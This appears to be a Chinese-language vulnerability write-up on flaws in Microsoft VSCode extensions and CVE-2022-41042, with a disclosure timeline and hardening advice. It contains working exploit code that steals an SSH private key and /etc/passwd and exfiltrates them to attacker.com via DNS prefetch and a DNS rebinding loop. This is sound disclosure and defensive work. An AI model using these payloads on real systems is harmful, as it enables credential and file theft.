逃逸配置错误的VSCode扩展 - 技术漏洞分析与利用

本文详细分析了三个VSCode扩展漏洞和一个VSCode本体漏洞(CVE-2022-41042),涵盖HTML/JavaScript注入、路径遍历等技术细节,展示了如何通过DNS预取绕过CSP限制、利用srcdoc iframe执行代码等高级利用技术,最终实现本地文件窃取。

VSCode Webviews基础

在深入漏洞之前,需要理解VSCode扩展的结构。VSCode是基于Electron的应用程序,具有访问文件系统和执行任意shell命令的权限,扩展拥有同等权限。这意味着如果攻击者能在扩展中执行JavaScript(例如通过XSS漏洞),就能完全控制系统。

作为防御XSS漏洞的纵深保护措施,扩展必须在沙盒化的Webview中创建UI面板。这些Webview无法访问NodeJS API(这是主扩展读取文件和运行shell命令的途径)。Webview可通过以下选项进一步限制:

  • enableScripts:设为false可阻止Webview执行JavaScript。多数扩展需要设为true。
  • localResourceRoots:限制Webview只能访问指定目录的文件。默认为当前工作区目录和扩展文件夹。
  • 内容安全策略(CSP):通过Webview HTML源中的<meta http-equiv="Content-Security-Policy" content="default-src 'none';">等标签限制内容加载源。

漏洞1:Microsoft SARIF查看器的HTML/JavaScript注入

SARIF查看器扩展在渲染分析结果描述时,使用ReactMarkdown组件且escapeHtml设为false,导致攻击者可通过控制SARIF文件的markdown字段注入任意HTML/JavaScript。

利用链:

  1. 通过恶意构造的SARIF文件注入<img onerror>触发XSS
  2. 由于localResourceRoots配置为允许访问整个磁盘(包括z:盘),可通过fetch("vscode-resource://...")读取任意文件
  3. 受限的CSP阻止直接外传数据,但通过<link rel="dns-prefetch">标签利用DNS预取泄露文件内容(将文件内容编码在子域名中)
1
2
3
4
5
6
7
// 示例:窃取用户SSH私钥的完整利用代码
const sshKey = await fetch('vscode-resource:///home/user/.ssh/id_rsa');
const hexKey = btoa(await sshKey.text());
for(let i=0; i<hexKey.length; i+=60) {
    const chunk = hexKey.substr(i,60);
    document.head.innerHTML += `<link rel="dns-prefetch" href="//${chunk}.attacker.com">`;
}

漏洞2:Microsoft Live Preview扩展的HTML注入

该扩展创建本地HTTP服务器(3000端口)预览HTML文件,其Webview中的link-hover-start消息处理程序直接将消息内容设置为innerHTML而未消毒,导致HTML注入。

绕过CSP限制的技巧:

  1. 使用srcdoc iframe执行JavaScript(与父窗口同源)
  2. CSP采用nonce-based script-src,但nonce由不安全的Math.random()生成
  3. 尝试通过DOM元素注入、nonce暴力破解、状态恢复等方式绕过,最终因不同iframe间的算法状态隔离未能成功

漏洞3:Live Preview本地HTTP服务器的路径遍历

服务器解析URL时存在逻辑缺陷:

  • 浏览器将?../../etc/passwd?AAA?后视为查询参数
  • 服务器用lastIndexOf('?')分割,导致路径被解析为/etc/passwd

两种利用场景:

  1. 用户预览恶意HTML文件时直接窃取文件
  2. 结合DNS重绑定攻击:当扩展在后台运行时,用户仅访问恶意网站即可触发漏洞(无需直接预览文件)
1
2
3
4
5
6
7
8
// DNS重绑定攻击核心代码
const attackerServer = '7f000001.c0a80d80.rbndr.us'; // 在127.0.0.1和攻击者IP间切换
setInterval(() => {
    fetch(`http://${attackerServer}/?../../../../etc/passwd?`)
    .then(res => res.text().then(data => {
        fetch(`http://attacker.com/?q=${btoa(data)}`);
    }));
}, 1000);

Webview安全配置建议

  1. 严格CSP:从default-src 'none'开始,避免unsafe-inline,使用加密强度高的nonce
  2. 限制localResourceRoots:仅允许访问扩展安装目录
  3. 安全的postMessage处理:防范命令注入等漏洞
  4. HTTP服务器防护
    • 使用标准URL解析库
    • 路径规范化后二次验证
    • 随机端口+端口映射防止DNS重绑定
  5. 永远不要将用户输入直接赋给innerHTML

时间线

  • 2022年8月12日:报告SARIF查看器漏洞
  • 2022年9月7日:报告Live Preview的两个漏洞
  • 所有漏洞均在1个月内修复,其中CVE-2022-41042获得$7,500奖金

本文展示了即使微软官方扩展也可能存在严重配置错误。在后续文章中,我们将分析一个能绕过所有正确配置的VSCode本体漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计